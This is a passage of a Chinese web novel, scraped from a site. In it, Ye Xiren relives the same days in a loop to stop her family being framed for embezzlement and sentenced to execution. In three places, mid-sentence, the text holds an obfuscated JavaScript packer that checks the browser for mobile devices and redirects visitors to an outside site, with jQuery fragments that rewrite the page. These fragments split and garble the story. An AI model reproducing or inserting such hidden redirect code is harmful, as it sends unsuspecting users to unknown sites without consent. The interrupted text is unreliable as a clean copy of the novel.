外,叶府上下全都在行动,人人脚步匆匆。 一大早还有些冷,叶惜人披着披风,抱着袖炉指挥—— “对,所有门都要关紧了,不许进出,李武,要连狗洞都检查一遍,统统堵上,绝对不要留下任何进出口子。” “周妈妈,仓库检查得怎么样了?任何异常物件都要报到我这里来,记住,宁愿错,不能漏。” “王妈妈你去检查厨房,把炉子里面也掏出来看看,千万不要藏着什么东西。” …… 她在一项项吩咐,忙得热火朝天。 叶长明挠挠头:“叶惜人你干嘛?折腾什么?” 叶惜人见他出来,立刻想起这是个“危险份子”,马上吩咐: “大公子起来了,雪婵、雪娟,你们跟着胖金瘦银一起去检查大公子的屋,记得仓库、书房、被子……全都不要放过!” 叶长明眉头皱起,满脸嫌弃:“你这是抄——” 都能猜到他要说什么,狗嘴里吐不出象牙,叶惜人一巴掌拍在他身上,骂道:“你敢把那个字说出来看看!” 叶长明:“……”下意识闭嘴。 行吧。 他惹不起二小姐。 叶惜人继续掘地三尺上下检查,一遍还不够,还得两遍三遍,她怕府里又有人被威胁,让他们交替检查,连下人房都不放过,观察着每个人神色。 “你是被昨天的事吓着了?”叶长明凑过来,摇摇头,“放心吧,爹都知道凶手是谁,不会再出事的。” 那可说不准! 叶惜人被砍四次了,实在不能彻底放下心。 “还是得防着,今日府上都不出门,不与人接触,里里外外检查干净,我就不信这样还能出事?”叶惜人咬牙切齿。 她像是想到什么,立刻扬声道: “对了,马棚和狗窝别放过,都要挨个仔细检查,树上也让人拿杆子打一打,别有什么不该出现的。” 叶长明:“……” ——这二姑娘真是疯了。 从早晨检查到傍晚,就连水井里打上来的水,叶惜人都要凑过去看一眼,才能放心。 叶长明无话可说。 他没能春闱,又要养伤没事干,干脆跟着叶惜人,当然,也是这二姑娘今日威严极重,不许他离开视线范围,就好像他很危险似的? 看她里里外外检查一遍又一遍,检查的人没累,他这个看的人都累了…… “差不得行了。”叶长明坐在回廊上,看着叶惜人进进出出,“你都翻三遍了,前院的小白、小黑,后院的小黄,全都被你检查过,真没漏网之鱼,出不了事儿的。” 小白是马,小黑是驴,小黄是狗。 “该换班了,二队休息,三队重新检查,一队继续防守,盯紧叶家上下所有角落,全都不要漏。”叶惜人还在吩咐。 这时,她像是看到什么,瞳孔一缩: “快,那里!” 叶长明一惊,猛地坐起来,还真被她发现了异常?! 叶惜人指着院墙旁边,急切吩咐:“那边飞进来一只鸟,赶紧抓住上下检查,确定没问题再放出去,别留在叶家!” 叶长明:“……” 他又躺回去,眯起眼睛,俊秀的脸上全是无语,“所以你要严防死守到什么程度?” 叶惜人闻言回过头,微微笑:“今日,进入叶家的东西,哪怕是一只苍蝇,我也要紧盯!” 她就不信了。 这样还能出事! 11. 死守 第11章 果然,在叶惜人连苍蝇都要抓住“审问”的严防之下,三月初三一直到傍晚时分,一切安稳,什么都没发生。 紧闭的大门始终关着,没人一脚将门踹开,闯入叶家来拿她去“满门抄斩”,叶家平静如常。 太阳落下时,叶惜人差点喜极而泣。 总算,破了这劫难! 昨日的安排是对的,不能只是收走观音像里面的东西,而是要钓出害他们家的人,有云香的口供,还有陆仟强闯之事……找到了凶手,危局彻底破开。 叶惜人抬起头。 一双眼睛望着正缓缓落下的夕阳,云层重重叠叠,鸟儿成群旋绕而过,她将眼眶中的湿润咽下去。 “哭了?”叶长明瘸着腿凑过来,小心翼翼开口,满脸惊讶。 叶惜人摇摇头,笑容灿烂而明媚,“没有,光刺了眼。” 叶长明见她脸上没有一丝阴霾,才终于放下心,抬了抬下巴转移话题,“我要去书房换本书,你要不要一起?” 这妹妹今日盯着他,不许离开视线,他想回屋得把她给带上才行…… 然而,叶惜人瞥了他一眼,颇为嫌弃:“不去,你又不是没长脚,多大的人了,去书房就自己去,还要人陪着不成?” 她提起裙摆,欢快地跑回屋去。 叶长明:“???” ——这不是你不许我离开视线吗?! “叶惜人,你讲不讲道理啊?”他无语了,扬声喊道,“喂,干嘛去?不继续检查了?” “关门闭户守好家里就行,我今天累着了,先回去睡会儿。”叶惜人停下脚步,又叮嘱几句。 叶长明眼睛一亮,忙道: “那我可以出府打探消息吗?今儿三月三和谈之日,还不知道那北燕提出了什么条件,和谈有没有成功……” 叶惜人微微笑:“不可以,等爹回来就知道了。” 话音落地,她已快步离开,头发的珠花闪闪发光,青丝摇晃,背影轻快。 叶长明翻了个白眼。 这霸道的妹妹! 他拄着拐杖,明明一脸嫌弃,却还是扭头认真吩咐:“雪婵雪娟,守好二姑娘,记得先用些吃食再睡,饭后给她熬一碗安神汤,好好睡一觉,别吵着呢。” “是。”两人应下,赶忙追上去。 叶长明骨节分明的手指握紧拐杖,不用人搀扶,借着拐杖一瘸一拐回屋,修长背影被夕阳拉长,总是被叶惜人嫌弃,但却是京都名副其实的青年才俊。 叶家兄妹俩,一个俊一个美。 另一边,雪婵喂给她安神汤,叶惜人舒舒服服喝下去,长长地呼出一口气,舒展开身体躺下去。 “姑娘这几日可累着了,快睡会儿。”雪婵为她紧了紧被子。 叶惜人露出笑,一对若隐若现的梨涡躺着时很明显,雪白的牙齿露出来,卸了钗环的模样有两分稚嫩八分娇俏,不过才十六岁的姑娘,乌灵灵的眼睛里面清澈见底,声音温和: “你们也好好睡会儿,等叶家的劫难彻底过了,带你们出去玩,给你们发赏银!” 雪婵雪娟同时露出笑,心都软了下来。 “姑娘你今日为叶家操劳了,快赶紧睡。”雪婵站起来,将纱帐放下来,今日温度升了些,她将火盆挪远点,以免屋里太热。 两人退了出去。 叶惜人闭上眼睛,嘴角仍然挂着轻松的笑。 她在想,今日正在和谈,待天下太平之后,叶家的灾祸过去,三月里又正是踏春好时节,她要去南都佛寺上香、踏青,感谢老天保佑…… “嘭——” 大门突然被人一脚踹开,前院一阵慌乱。 动静传到后院其实已很是细微,但叶惜人似有所感,心头一紧,睡意瞬间全部消失不见,像是一桶冰水兜头浇下。 她不可置信地坐起来,看向大门方向。 叶惜人:“???” 不是吧。 又来? 她防得这么严,哪里还能出事?! 皇城司指挥使再次带人闯进来,逻卒将整个叶家团团围住,他们手上寒光森森的刀带着无尽杀气,红衣陆仟像是索命阎罗,那张阴冷的脸上带着嘲讽—— “又见面了,那位胆大的叶二姑娘呢?” 周围一片死寂,没人回答。 叶惜人穿上衣服出来,没戴钗环,火把映照之下,她的脸上带着愤怒的红晕,双目喷火,咬牙切齿:“陆仟,你这回又是用什么理由陷害我们?!” 陆仟抬脚,一步步走向她,笑道:“叶二姑娘可错怪我了,我哪里有本事陷害户部尚书府啊。” 叶惜人心头一跳。 这陆仟,今日竟然比昨日还要有恃无恐? 叶长明一瘸一拐出来,见他走向妹妹,扔了拐杖直接冲上来将人挡在身后,死死盯着陆仟,怒道: “你竟然还敢强闯叶家?昨天你污蔑、栽赃的罪行,难道就没人管吗?!” 陆仟怎么还好好站在这里?爹难道还没有禀明圣上? 叶惜人迅速思索着。 陆仟霎时沉了脸,冷笑:“是呀,你爹昨日就递了折子状告我,幸好还没来得及处置,你叶家先倒霉……如此,叶沛的状告就不重要了。” 说到这里,陆仟眼中的幸灾乐祸遮掩不住,要是叶沛没出事,他恐怕还真难脱身,但现在叶沛出了事,和谈还在僵持当中,他就有戴罪立功的机会,一切翻了过来。 罪人的控告,已不重要。 “什么意思?”叶惜人皱眉。 “你怕是不知道吧?今儿朝上爆出了一桩大案,之前运往严家军的那批粮草有问题,最后查出真相……竟然是你爹这个户部尚书贪污银钱。” 陆仟声音幽幽: “提出粮草有问题、揭发大案之人,还是你爹呢,最后查出来的,竟然也是你爹叶沛。” “胡说八道!”叶长明不可置信,“我爹清廉,绝对不可能贪污军费,你们栽赃他!” 叶惜人:“……” ——真是没想到,严防了叶家上下,出事的竟然是那个上朝的爹。 她脑子里第一反应竟然不是愤怒,而是……下回一定死守她爹,不让他去上朝! “不对。”叶惜人捕捉陆仟透露的信息,抓住关键,“且不说我爹不可能贪污军费,即便真是他干的,他又为什么要自己在朝上检举?” 这不合理。 叶沛检举粮草有问题,揭开大案,一定是想帮那位还关着的严小将军洗清部分罪责,最后查出是他……定是有人弄鬼! 然而陆仟嗤笑一声,意味深长,“今日本要判那逆党死刑,你爹检举是想拖延时间,为那逆党正名,却没想到……他证据没抹干净,被人查了出来。” 见叶惜人还要开口,他摇摇头,又说: “这都不重要,因为就在今日申时,你爹自己承认贪污军费之事,他亲笔写下认罪书递交朝廷,没受刑、没人威逼,你爹自己在大理寺认了罪,陛下震怒,御笔判了叶沛满门抄斩。” 说完,他手臂一震,明黄色圣旨打开,昏暗火光之中,像是能吞噬一切的怪兽,让人心惊。 怪不得有恃无恐闯进来,他拿着查抄叶家的圣旨! 叶惜人与叶长明同时一震。 “不,绝对不可能!”叶长明不肯相信,猛地摇头,一把夺过圣旨,看清楚上面的每一个字,难以接受。 叶惜人在短暂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281301|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崩溃之后,砍得很熟悉的死感一点点蔓延,听到“满门抄斩”四个字,竟然有种“果然如此”的踏实感…… 三月三的灾祸,总算出来了。 “我爹不可能贪污,他怎么会认罪?今日又到底发生了什么?”叶惜人上前一步,一双眼睛紧紧盯着陆仟,想要答案。 她有太多的疑惑。 陆仟手上握着刀,拔出来把玩,想到昨日这人挡在他面前时候的强硬,薄唇微动,缓缓开口:“想知道?求我。” 叶惜人毫不迟疑:“求你。” 陆仟:“……” ——为什么她可以说得这么自然,让他连点成就感都没有呢? 陆仟被噎住。 想到自己和一个小女娃较劲,突然就觉得很没意思,将刀收回去,深吸一口气,挥手,“大人交代了,尽快处理,平息圣上之怒,直接带去菜市口吧。” “冤枉!”叶长明被架起来,拼命蹬腿,“我爹绝对不可能贪污,他一定是被你们逼着承认,我叶家上下根本没有所谓贪污来的军费,你们凭什么——” 他被骂着带上囚车。 那逻卒还想去抓叶惜人,只见她提着裙摆,老老实实跟上,还不忘对他说:“嗨,又见面了,我祖母年纪大了,对她客气点。” 说完,她出了门,钻进囚车里面,没忘记把囚车门给带上。 那陆仟不上套,不肯给她透露信息,而且看他那样子,估摸着也不知道多少内情,还是她赶紧重生,自己去查吧。 逻卒:“?” 见他呆呆看着自己,叶惜人恍然大悟,忙老老实实伸出手,喃喃:“哦,对了,还没戴枷锁。” 逻卒:“??” 叶惜人见他还不懂,催促:“快点,其他囚车都走了,早点砍完早点了事,别耽误我时间了。” 她还要赶紧重生回去。 下一回—— 不仅要严防叶家,还要死守叶沛! 叶惜人暗暗咬牙切齿。 逻卒:“……” - 大理寺,诏狱。 漆黑的牢狱当中,只有地牢入口处有一丝光亮,里面坐着的人影被铁链捆绑住手脚,溢出的鲜血染红白色中衣。 人影就像是没有察觉,依旧端坐地牢之中,脊背挺直,藏在凌乱头发下的眼睛看向地牢入口处,安静等待着。 下一刻,他突然伸出手,一只老鼠跑过时,被他抓在手上。 入口处阴影晃动,牢卒进来送饭,将食盒提到黑影面前,饭菜一份份取出来,缺口碗里倒上水。 黑影将老鼠在饭碗前松开,铁链发出“哗啦”的声音,他缓缓闭上眼睛。 - 菜市口刽子手高举双手,喷出一口烈酒,鬼头刀寒光一闪,重重落下,剧痛袭来,鲜血喷溅…… 叶惜人捂着脖子猛地坐起来,呼吸急促,满眼惊恐。 “姑娘?”丫鬟们鱼贯而入,领头的大丫头一脸焦急,一边给叶惜人擦着额头冷汗,一边吩咐,“快送些水来!” 好熟悉的场景,好熟悉的声音! 叶惜人松了口气。 还有机会。 她瞳孔骤然一缩,抓住雪婵手腕,语气急切:“等等,今日几月几?” “三月初一啊,正是——” 叶惜人猛地站起来,一脸焦急,“快给我穿衣服,备马车,我要出门,把祖母屋里的柳絮、云香……算了,没必须要,快着些。” 可恶啊,又回到三月初一。 全都得重来一回。 要阻止他哥“考场舞弊”,要抢救她祖母“私藏通敌证据”,还有亟待解决的父亲“贪污军费”。 ——真是累死她不心疼! 12. 防备 第12章 三月初一,半道让马山带人揍她哥一顿,阻止叶长明“考场舞弊”,已完成。 三月初二,砸了祖母佛堂里的观音像,藏好军舆图和那张逆党纸条,阻止“祖母私藏通敌证据”,已完成。 三月初三。 叶惜人几乎整宿没睡,估摸着时间差不多,拦住准备上早朝的叶沛,不等叶沛开口,着急询问:“爹,这两日让你查的军粮之事,有消息没有?” 前两天她不是什么都没做,已经多次提醒过,但因着不知道具体详情,只能让叶沛去查。 叶沛愣了愣,威严的脸上带着笑意,却是摇摇头—— “没查到什么,陆仟我让人看住了,他还陷害不了我,惜惜你别担心,这么早就起来对身体不好,赶紧回去睡吧……” 怎么可能不担心?! 叶惜人没想到他完全不放在心上,急了,“陆仟没害你,不意味着其他人不害你,那陆仟定然还被人指示,爹,你想揭发那批军粮有问题,却会引火烧身,有人将这一切栽赃给你!” 陆仟那句“大人交代了”,她可没漏掉,虽不知道与叶家之事有没有关系,但谨慎着总没有问题。 要严防,还要死守。 叶沛瞳孔一缩,猛地看向叶惜人:“你知道军粮的事?!” 昨日叶惜人破了观音像的局,让她说清楚是谁告诉她的,叶沛没得到确切答案,万万没想到,不仅观音像她知晓,连军粮案都知道! 这还只是在筹划当中的事,知晓之人甚少。 “这不是重点。”叶惜人抓了抓脑袋,有几分烦躁,“重点是你提起军粮案,他们就会把一切栽赃给你,说你贪污军费,真没查到什么吗?” “真没查到。”叶沛坚定地摇摇头,半晌又问,“到底是谁告诉你消息的?这得是对方最亲信之人吧,不然你怎么会全都提前知晓?” ——知道的这么清楚,感觉像是幕后布局之人亲口告诉她的。 叶惜人:“……” 这真不是重点! 她不意外什么都没查到,叶沛是极聪明之人,已经知晓有人要对付他,就一定会有所防备,军粮案是他主动提出,但最后还是着了道…… 那对方的手脚一定很难察觉,且极其难对付。 她深吸一口气,拉住叶沛衣袖,仰着头望着他的眼睛,一字一句:“爹,今日你上朝揭发军粮案,随后,朝堂震荡,圣上要求彻查此事。 “你本是检举之人,却没想到查到最后,贪污军费以至于运往严家军的军粮有问题一事,是你这个户部尚书做的,你于大理寺认罪,亲笔写下认罪书伏法,圣上震怒,判了我叶家满门抄斩。” 叶沛听到“满门抄斩”四个字,瞳孔一缩,满脸惊骇。 叶惜人缓缓吐出这口气,又道: “不管你相信我亲身经历也好、做梦也罢,甚至有人告知我也成……这就是今日会发生的事情,爹爹,你还要上朝吗?你还真觉得没人能陷害你吗?” 不仅陷害,还成功把他们一家送去抄斩,让她被斩第五回。 叶沛久久无言。 他看向叶惜人眼睛,乌黑的眼睛干净无暇,哪怕说着这样可怕的事,眼中带着焚烧一切的愤怒,依旧还有坚定与勇气,要阻止噩梦发生的坚定、要救下叶家的勇气。 这是他的女儿。 半晌,叶沛开口,唇微微颤抖:“惜惜,不管你怎么知道的,爹相信你。” 就在叶惜人高兴时,他露出苦笑: “但不能不上朝啊,今日是大梁与北燕和谈之日,至关重要,北燕和谈之心未必是真,爹不能不去看着,再者,官员无故不得缺席早朝,我没有理由不去啊。” 叶惜人拦着就是不想他去! 就如同科举舞弊一样,不能决定考场里面发生的事情,但可以不让叶长明去,这是最简单的“釜底抽薪”。 “怎么会?爹爹可以告假啊!”叶惜人一双眼睛瞪圆,坚持不要他去。 叶沛摇摇头,苦笑: “我若是装病告假,会有御医上门查证,想要陷害我们的人更不会放过机会,一旦查实,那就是欺君之罪。” 闻言,叶惜人有些迟疑,小心翼翼问:“欺君之罪?只是告假而已……很严重吗?” “很严重。”叶沛认真点头,无比笃定,“若是圣上不高兴,这就是满门抄斩的大罪。” 叶惜人:“……” ——她和这个“满门抄斩”就没完了是吧?! 叶沛抬手揉了揉她脑袋,眼神沉稳有力,声音掷地有声:“惜惜,你别担心,既然我已经知晓,就一定不会落入陷阱当中,趁着上朝之前还有些时间,爹爹先去安排一二。” 叶惜人闻言,肩膀彻底放松下来,松了口气。 叶沛神情严肃下来,朝着门口方向招招手:“老姜。” 姜管家快步走来,叶沛就要带着他出门去。 叶惜人还是不放心,拉住叶沛衣袖,跟着往前走了几步,眨眨眼睛叮嘱:“爹爹今日就别提什么军粮案,以免惹出祸事。” 叶沛立刻点头:“放心,我不提。” 说完,他又摸了摸叶惜人的脑袋,眼神慈爱,这才带着姜管家匆匆出门去,大门打开又很快合上,一开一合,夜风袭来。 叶惜人紧了紧斗篷,绞着手帕,仍然不安,但想到这事她爹已经知晓,会去应对,不至于再落入陷阱当中,紧张又一点点消失。 天还黑着,月明星稀,叶惜人打了个哈欠,转身回屋睡觉去。 而门外。 叶沛对着姜管家低语几句后,眉头皱成“川”字,眼中是化不开的浓郁,他回头看向紧闭的大门,许久没说话。 - 未时。 叶惜人睡了一觉起来,又开始不安地等待着,她在院子里面走来走去,好像脚下有钉子,根本站不住。 叶长明倚在凉亭里面的躺椅上,扔掉瓜子皮,身上盖着一本书,桌案上放着一碟瓜子和一碟剥好的瓜子仁,这人喜欢吃瓜子,还尤爱一把瓜子仁一起吃。 他颇为无奈地看向叶惜人,终于忍不住开了口:“你到底怎么了?就不能坐下歇会儿吗?” 叶惜人回头。 捡起旁边放着的果子朝叶长明砸去,她都已经急死了,这人还什么都不知道,竟然如此惬意剥瓜子…… 未时一过就是申时。 上一个三月初三申时,可是叶沛于大理寺承认贪污军费的日子,现在宫里到底什么情况,她还一无所知,能不着急吗? 叶沛已经知晓会发生什么,有没有提前准备?那幕后贼人的算计是否落空?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284785|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一想到这些就心焦,看悠闲的叶长明更不顺眼了。 叶长明被果子砸了下,倒吸一口冷气,“叶惜人!你谋杀亲哥啊,真该让人都来看看,娴静端庄的叶二姑娘到底是个什么母夜叉模样!” 叶惜人狠狠瞪他一眼。 到底被这么一打岔,焦虑去了些,在旁边坐下,拿起叶长明剥好的那碟瓜子仁喂进嘴里,嚼着瓜子仁,就像是嚼着什么骨头一般。 叶长明想说什么,见她这架势,怂了。 他又抓起瓜子,一边给她剥一边问:“你到底怎么了?这么暴躁,是每月的那几天……?” 叶惜人看向他,半晌才道:“哥,我真羡慕你。” “啊?” “无忧无虑,没心没肺,脑子里面只用装水就行,什么都不用想,什么都不管,什么都没有。”叶惜人长长地叹口气。 叶长明:“???” 他愣了许久,拔高声音: “你在骂我傻?!” 他抬起手想揍叶惜人,但见她眉头皱在一起,始终化不开,又有些心疼,咬咬牙嘟囔一句:“你要不是我亲妹妹,非得收拾你!” ——他一怒之下,怒了一下。 叶惜人没理他,瓜子仁全都塞在嘴里,脸颊鼓起来像只仓鼠,无声喃喃:到底会不会顺利? 好多疑惑没有答案,朝上究竟发生了什么事情,对方又是怎么陷害到叶沛的? 虽然对朝中之事不了解,但偶尔爹娘说话带出一两句,叶惜人知道叶沛这个户部尚书没多大实权,可坐在这个位置上,就把户部的一切牢牢把着,才能长久稳坐这个位置,不至于被人掀翻。 叶沛是聪明人,对方到底怎么栽赃到他的? 更让人疑惑的是所谓“申时认罪”,叶沛被抓起来,怎么在这么短时间就认了罪?是他在大理寺遭遇了什么? 叶惜人心中产生疑虑,扭头问:“哥,官员如果进了大理寺,是不是会被重刑拷打、屈打成招?” “怎么可能?” 叶长明摇摇头,戳了戳叶惜人脑袋,“你一个后宅小丫头,果然对朝廷的潜规则一无所知,若是需要用刑多半是去皇城司,进陆仟的诏狱。 “至于关进大理寺?那多半是官员犯罪,在大理寺不会受太大的折磨,你不知道,里面的牢房都比诏狱舒服得多,时不时就有官员进去住几天,怎么可能屈打成招?” 叶惜人皱眉。 叶长明将瓜子丢进嘴里,声音幽幽,“小丫头少操心这些吧,就算别人在大理寺倒霉,也绝对不会是爹。” “为什么?”叶惜人不明白。 叶长明凑过来,压低声音:“你忘了吗?大理寺卿是白伯父,与咱爹同科进士,多年老交情了……” 叶惜人瞳孔一缩,不可置信地站起身来。 是了! 大理寺卿是白成光白伯父,二人多年交情,在官场上从来相互扶持,叶沛落在皇城司陆仟手上会被屈打成招正常,在大理寺关着,白伯父怎么可能不护着他? 那到底是发生了什么? 不对。 一定有哪里不对。 叶惜人眉头紧锁,脑子里面无数念头流转,千头万绪就是理不清楚,还缺少点信息才能全部串起来…… 这时,脚步声匆匆响起。 13. 熟悉 第13章 叶惜人抬头看去。 姜管家带着几个护卫疾步而来,他神情凝重,面色甚至有些难看,行礼后伸出手,“大公子、二姑娘,请速速随我离开。” 语气决绝,不容反驳。 “姜伯,怎么了?”似嗅到不同寻常的气息,叶长明疑惑地站起来,小桌几被掀翻,瓜子落了满地,发出细碎的声音。 但无人在意。 叶惜人心跳微微一滞,姜随从前是叶沛书童,二人自小一起长大,亲如兄弟,对他们兄妹而言,姜随不是仆从,是看着他们长大、可以无条件相信的叔叔。 姜随摇摇头,却不解释,只说:“是老爷的安排,大公子、二姑娘快随我来,等见到老夫人与夫人就知道了。” 两人对视一眼,茫然地跟上他,一头雾水。 一路沿着后院往小门走去,等走到小门时,才看到外面停着一辆十分普通的马车,胖金瘦银等一队侍从站在旁边,马儿已经喂饱,马车蓄势待发。 两人越发疑惑。 “到底怎么了?”叶长明喃喃。 姜随依旧没有回答,扭头急切问道:“老夫人和夫人怎么还没来?快去催催!” 他似乎很着急,时不时看向天色,额头早已冒出细密的汗珠,偏偏眼中满是绝望,仿佛没了生机。 小厮应声往回跑。 很快,廖氏被人搀扶着出来,她双目红肿,明显是刚刚哭过一场,走起路来脚下虚浮,似遭遇重创,几乎站不稳。 “娘!”叶惜人上前。 廖氏擦了擦眼睛,提起精神,指着马车,“你们兄妹俩立刻上车。” 叶惜人与叶长明再次对视一眼,同时皱紧眉头,然而看到廖氏不容置喙的难看脸色,他们担心气着她,又不敢多说什么,老老实实上车。 刚一上车,叶惜人便察觉这看起来普通的马车内有乾坤,里面放着许多的干粮,还有好几个大包裹堆在一起。她随手拉开一个,里面是一些金银与几身换洗的衣物,这是将他们兄妹俩出门的行囊收拾得妥妥帖帖。 ……跑路? 叶惜人猛地回过头去,没人注意到她眼中充满震惊与愤怒,“娘,这是什么意思?” ——不会是她想的那个意思吧? “什么都不要问,什么都不要管。”廖氏眼神犀利,严肃地盯着兄妹俩,“等你们祖母到了,立刻出发。” 这时赵氏拄着拐杖走近小门,她身穿诰命服,花白的头发被服服帖帖梳好,带着庄严与肃穆。 廖长缨与姜随看到她穿这身衣服,同时变了脸,逃跑要尽可能低调,如此打扮,显然赵氏不准备走。 “长缨,上车去,我留在叶府。”赵氏声音平静。 “娘!”廖长缨再次红了眼。 “我这把老骨头活不了多久,但总要有人留在这里镇守叶家,你看好他们兄妹——” 廖氏眼泪“哗”流了出来,拼命摇头,“我不走,我与他夫妻一体,他有罪,我就有包庇罪,他若死,我也不独活,总要留下来才能做点什么……” 闻言,赵氏眼眶也红了起来,抓住廖氏手腕,手指颤抖,“你可想好了?” 廖氏哭着露出笑,眼神决绝,“我没有收拾行囊,从来就没准备走。” 况且…… 只有她们留下,叶府没有完全“空”抄家的人才不会死盯着长明与惜惜,给他们兄妹挣出一条活路来! 叶长明已经看懵了,他坐在马车里面,探出脑袋:“祖母、娘,你们到底在说什么?我们这是做什么啊?怎么都哭了?” 他本能就要下车。 廖氏转过身呵斥:“坐好!若还是我的儿女,就都给我听话!” 说完,她眼神眷念地看着两人,不放心叮嘱:“日后就是你们兄妹俩相依为命,你爹让人准备好的路引、书信都在包袱夹层里面,待会儿出城时,自有人放你们出去。 “长明,你是哥哥,惜惜年纪还小,以后你要照顾好她,女儿家在这个世道总是吃亏些,你要记得你是哥哥。 “惜惜,娘知道你聪慧,你哥虽然年长你一些,但没有你思虑周全,他若想不到的地方你要帮他补全……你们互相照顾,天大地大,以后别再回南都。” 廖氏擦掉又落下的眼泪,眼前被湿润遮挡住视线,她赶忙擦掉,紧紧盯着一双儿女,不敢错半分,像是要把他们刻进心里。 “娘……”叶长明张了张嘴,不好的预感在蔓延。 叶惜人却是一把抓住马车的门,紧紧抓着,不让车夫关上,指尖泛白,一双眼睛死死盯着廖氏他们,眼睛里面升腾起愤怒,一字一句: “所以,是我爹又被栽赃了贪污军费之罪,我们叶家将要……满门抄斩?” 最后四个字,几乎是咬牙切齿。 这情形、这安排,不就是即将满门抄斩之前的逃命准备吗?! 廖氏一震,她万万没想到叶惜人竟然清楚,张了张嘴,一时之间不知道如何回答。 看她的反应,叶惜人还有什么不明白,这分明就是一切重来,今日发生的事情与上一个三月三没什么不同,她的提醒根本没用! 哦,有用。 有了他们现在“逃命”的用! 叶惜人心里像是被一把火烧了起来,烧得脸泛红,双眼圆瞪,恨不得现在就抓住叶沛狠狠质问。 “夫人,老爷交代的时间已经差不多了!”姜随看了眼天色,急了,时间越来越近,危险随时会来。 赵氏冷静下来:“关门。” “干什么?!”想要下车的叶长明被扔了回去,“祖母!娘!你们做什么?快让我们下去——” 护卫堵住门,不让他们下来。 廖氏深吸一口气,将其他情绪全都掩下,扒拉在马车旁边,挨个摸过两人的脸,而后将叶惜人手指一根根掰开,重重关上车门,锁好。 她闭上眼睛,落下两行泪,“走。” 车夫早有准备,直接便朝着既定的路线驾车而去,马蹄声哒哒,很快就远离叶家。 叶长明趴在从窗户上往后看,大喊出声:“祖母!娘!” 叶府小门处,赵氏与廖氏站在那里,一动不动望着他们二人离开的方向,悲伤与不舍蔓延。 马车越来越远,他们的影子越来越小,天边,落日逐渐变得火红似血,染透半边天,好像连血光都一起落在了远处高高的屋檐上。 叶长明整个人都慌了神,怎么会突然变成这样? 再想想刚刚听到的话,他想立即下车折返,去问个清楚明白,但车门已经被车夫从外面锁上,用完好的手狠狠砸向车门,砸得“嘭嘭”响,仍然撼动不了分毫。 “这到底是怎么回事?!”叶长明眼眶湿润,无措地扭头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292188|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向叶惜人。 而自马车离开,叶惜人就无比安静。 她在车上寻找所谓“书信”,此刻翻找出来,一目十行,那内容清楚简洁,是叶沛对他们兄妹俩的叮嘱,尤其是关于逃离路线、逃走后去寻找谁…… 只在最后才有一句—— 【惜惜,莫怪爹爹。】 叶惜人手握紧,将一张纸捏得皱皱巴巴,几乎是咬碎牙齿,艰难开口:“真是我们的好爹啊!” 还有什么想不明白? 叶沛一定是又进了大理寺,被关押起来,他在朝上定然又提出了军粮案一事,她今早费尽心思提醒,丝毫没能改变他的安排。 他从她口中知道会有什么样的后果,所以才提前安排了这些,只待姜伯算到时间、或者得到什么消息……立刻拿出提前准备的东西,把他们送出去,只让他一个人“送命”。 准备? 他早上要去做的准备,根本不是怎么防算计,而是准备路引、书信,给他们做“满门抄斩”的逃命安排! 他明明知道了,还是做了同样的选择。 “好得很,真是好得很啊。”叶惜人气得浑身发抖。 叶长明终于看完书信,抓住叶惜人手腕,“惜惜,我们不能就这样离开,爹、祖母和娘还在叶家,我要回去!” 说完,他再次咬牙,狠狠撞上关闭的马车门。 “嘭!” 叶长明如同不要命一般撞上去,马车摇晃,马儿惊得抬起前蹄,他仍然不停歇。 “大公子!”外面,胖金语气着急。 叶惜人接住就快要撞晕的叶长明,压低声音:“交给我。” 说完,她扬声喊道: “还不快停下!我哥本来就有伤,现在撞得浑身是血,头破血流,人也晕过去了,快打开马车,你们不管他吗?” 马车停下,胖金与瘦银对视一眼。 二姑娘喊得这么伤心,如此失态,想来没有作伪,两人赶忙取下车门上的锁,打开一条缝。 趁此机会,演技逐渐高超的叶惜人与没说话的叶长明同时抬腿,狠狠踹向车门。 这马车简单,木门自然是极其寻常的马车门,他们同时狠狠的一脚使得木板脱落,朝着外面砸了过去。 叶长明下马车就想跑,但无奈脚伤着一只,根本跑不了。 胖金大惊。 瘦银急切喊道:“大公子、二姑娘,这是老爷和夫人的安排,叶家遇到了祸事,他们送你们避祸,等事情解决,自然能够回去。” “你们骗我,叶家一定是又遇到解决不了的麻烦,要我们全家命的大劫。”他瘸着腿就想往回走,“我要回去。” 今日祖母与娘亲的反应,倒像极了……托孤。 要真是大劫难,能等到他们回来吗? 叶惜人抓住他的手,一双眼睛盯着前方,从一开始的愤怒到冷静,又变成现在无所畏惧的坚毅,重复了这么多次,她早比之前更大胆,也更有决断。 “好,我们回去。”她双目炯炯,一字一句,“下一回,我一定会救你。”救我们。 这局废了,再重开一次! 